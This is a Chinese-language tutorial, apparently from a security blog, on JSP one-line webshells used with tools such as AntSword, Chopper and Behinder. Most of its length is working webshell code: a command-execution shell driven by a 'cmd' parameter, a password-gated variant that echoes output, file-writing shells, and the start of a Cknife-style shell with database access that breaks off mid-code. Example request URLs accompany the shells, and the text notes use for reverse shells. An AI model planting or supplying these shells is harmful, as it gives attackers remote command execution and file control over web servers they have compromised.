**
基本原理
**
由于Java中没有所谓的eval函数,无法对直接传递的代码进行解析执行。所以不管是蚁剑还是菜刀对于JSP的shell一直是采用custom模式,即把要执行的代码提前写在shell中,然后每次只需要传递要调用的函数名以及对应的参数即可。
虽然可以实现相应的功能,但是带来一个问题就是shell体积非常巨大。菜刀的jsp脚本有7kb大小,蚁剑的jsp custom脚本即使去掉注释后还有17k之多,用起来非常的不方便。
冰蝎的作者rebeyond大佬在文章 利用动态二进制加密实现新型一句话木马之Java篇 中提出了一种新的jsp一句话的实现方式:利用classloader直接解析编译后的class字节码,相当于实现了一个java的eval功能
一、命令执行
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
Runtime 类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime() 构建 Runtime 类实例。 getRuntime() 返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec() 方法执行系统命令。
request 为 JSP 内置对象,getParameter() 方法获取请求参数 cmd的值构建命令 。
请求URL:http://127.0.0.1/shell.jsp?cmd=calc
没有回显,可以用来反弹shell
二、命令执行
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
原理与样本一相同, inputStream() 方法获取命令回显输出到前端页面中。
请求URL:http://127.0.0.1/shell.jsp?pwd=admin&cmd=calc
三、文件写入
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<%
// ISO-8859-1 输入
new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
// UTF-8 输入
new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
// Web 目录写入
new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
// 功能更加丰富的写入
new java.io.RandomAccessFile(request.getParameter("file"),"rw").write(request.getParameter("content").getBytes());
%>
new FileOutputStream(name, append)
调用 FileOutputStream 类构造函数创建文件,并写入内容。file 参数为文件全限定名,filename 为文件名,content 为文本内容。
// ISO-8859-1 输入
请求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=test
// UTF-8 输入
请求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=测试内容
// Web 目录写入
请求URL:http://127.0.0.1/input.jsp?filename=test.txt&content=test
// 功能更加丰富的写入
请求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=test
四、反射调用外部jar包
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd = "Cknife";
String cs = "UTF-8";
String EC(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("choraheiheihei");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
}else{
Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File k = new File("")